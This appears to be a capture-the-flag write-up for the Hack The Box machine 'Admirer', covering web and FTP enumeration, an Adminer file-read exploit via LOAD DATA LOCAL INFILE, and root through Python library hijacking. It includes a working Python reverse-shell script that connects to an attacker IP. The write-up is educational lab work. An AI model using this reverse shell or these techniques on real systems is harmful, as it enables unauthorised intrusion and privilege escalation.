This box is pretty frustrating due to the amount of rabbit holes I got stuck in, but at least I learnt something new from this. Moral of the story - don’t always rely on one tool or wordlist.
In this box, we will be tackling:
- Getting stuck in rabbit holes.
- Exploiting Adminer
- Hijacking Python libraries
1. Preliminary NMAP Scan
sudo nmap -sC -sV -oN nmap.txt 10.10.10.187 -v
Only ports 21, 22 and 80 are open. Let’s first check out the web server.
2. Web Server Enumeration #1
Seems like a gallery. Let’s see what we can enumerate from this.
Looking in the
robots.txt file, we see that there is an entry to disallow robots from crawling
Trying to access the page gives us a 403, so let’s run
gobuster on it. Notice from
robots.txt that this folder contains “personal contacts and creds”. Let’s use
/admin-dir/, with the
.txt extension to also look for text files.
gobuster dir -u admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt
And we found something. Let’s take a look at those files.
Seems like we got credentials to FTP, using
3. FTP Enumeration
Logging into the FTP server, we see two files in there. Let’s download both of them.
(🐇) We don’t really get much using
dump.sql. Moving on to the
7z x html.tar.gz 7z x html.tar
Let’s do some more enumeration on the files inside. There’s tons to go through.
(kinda 🐇) Looking in
index.php we get what looks like database credentials to a mysql database.
(🐇) Looking in
/w4ld0s_s3cr3t_d1r/credentials.txt, we get another bunch of credentials. Looks similar to the
credentials.txt we found on the server earlier.
(kinda 🐇) Looking in
/utility-scripts/db_admin.php, we get more database credentials and a note that says to find a “better open source alternative”.
4. Web Server Enumeration #2
(🐇) Let’s next try to access the
utility-scripts directory on the web server to see if it exists.
(🐇) Then, try to access
info.php. We get
phpinfo(). From here, we can see that the webserver is running Apache2, PHP 7.0.33.
(🐇) Moving on to
admin_tasks.php, we get something that allows us to run remote scripts on the server. (🐇🐇🐇🐇🐇🐇🐇🐇)
Stuck at this point, I even tried to SSH to the server using the
ftpuser credentials we found earlier.
After a lot of hints from the HTB forums I found Adminer running on the server.
5. Exploiting Adminer
Googling for Adminer netted us an exploit. This allows us to read files on the server where Adminer is installed. Let’s set up the exploit.
We need a MariaDB/MySQL instance for this to work. Fortunately, MariaDB already comes preinstalled on Kali. Spin it up using
systemctl start mariadb, then
sudo mariadb or
sudo mysql to access it.
Note: I had to reinstall MariaDB entirely because it wasn’t starting up at all.
Inside the database, create a new user that is allowed to login from anywhere and grant it privileges to access everything.
CREATE USER 'kali'@'%' IDENTIFIED BY '<PASSWORD>'; GRANT ALL PRIVILEGES ON * . * TO 'kali'@'%'; FLUSH PRIVILEGES;
Next, we need to allow external connections to our MariaDB instance. By default, MariaDB only listens on
/etc/mysql/mariadb.conf.d/50-server.cnf with a text editor, then change the
bind-address value to
Restart MariaDB using
sudo systemctl restart mariadb, then check that server is listening on
netstat -antp | grep 3306
Back to Adminer, login to Kali’s MariaDB server using the user created earlier.
Next, create a new database.
Recall previously in the FTP directory that we found the
index.php file with a MySQL username and password?
Let’s try to read the live version of that file.
First, we need to start a Wireshark session capturing on the HTB VPN tunnel.
Then back on Adminer, run the following commands to try to insert
index.php into the database we created.
LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO TABLE testdb.test FIELDS TERMINATED BY "\n"
Once done, we see some traffic on WireShark from the remote server. We follow each TCP stream until we find the TCP stream for
We got our next set of credentials:
Let’s SSH to the server and grab the user flag.
6. Python Library Hijacking and Root
Now, let’s start to enumerate. Running
sudo -l, we see that
waldo is able to set environment variables while running
/opt/scripts/admin_tasks.sh as the root user.
Looking at the
admin_tasks.sh script, we see that it calls for a
backup.py script in the same directory.
Let’s take a closer look at
To exploit this, we need to create a script named
shutil.py in a directory, and set the
$PYTHONPATH environment variable to point to this directory instead of the real Python directory.
Our script will look like this:
#!/usr/bin/python3 import os import pty import socket lhost = "10.10.14.43" lport = 8888 def make_archive(a,b,c): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) os.putenv("HISTFILE",'/dev/null') pty.spawn("/bin/bash") s.close()
To roughly break down how this works:
backup.pywill import a function called
make_archive()from a python module named
- As the
backup.pyrequires three arguments, our
make_archive()will also need to have three (dummy) arguments.
backup.pycalls for the
make_archive()function and is redirected here, a reverse shell will run connecting back to our Kali machine.
Do remember to replace the
lport with the correct IP addresses/port number for the reverse shell.
Now, we can set the
$PYTHONPATH environment variable to point to
waldo’s home directory, and run
admin_tasks.sh. Select option 6 to run the
sudo PYTHONPATH=/home/waldo/ /opt/scripts/admin_tasks.sh
And we got root.